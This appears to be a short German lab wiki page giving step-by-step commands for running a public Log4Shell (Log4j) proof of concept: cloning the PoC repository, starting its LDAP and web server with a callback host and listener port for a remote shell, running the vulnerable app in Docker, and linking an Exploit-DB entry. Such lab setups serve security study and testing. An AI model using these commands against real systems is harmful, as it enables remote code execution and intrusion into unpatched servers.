Log4j

Schaubild

[Bearbeiten]

Proof of Concept

• git clone https://github.com/kozmer/log4j-shell-poc
• cd log4j-shell-poc

Download und entpacken

• jdk-8u20-linux-x64.tar.gz

Starten des LDAP und Webservers

• python3 poc.py --userip brian.x-men.de --webport 8000 --lport 4545

Remoteshell listining

App starten eventuell auf anderem Rechner

• git clone https://github.com/kozmer/log4j-shell-poc
• cd log4j-shell-poc
• docker build -t log4j-shell-poc .
• docker run --network host log4j-shell-poc

Exploit

• https://www.exploit-db.com/exploits/50592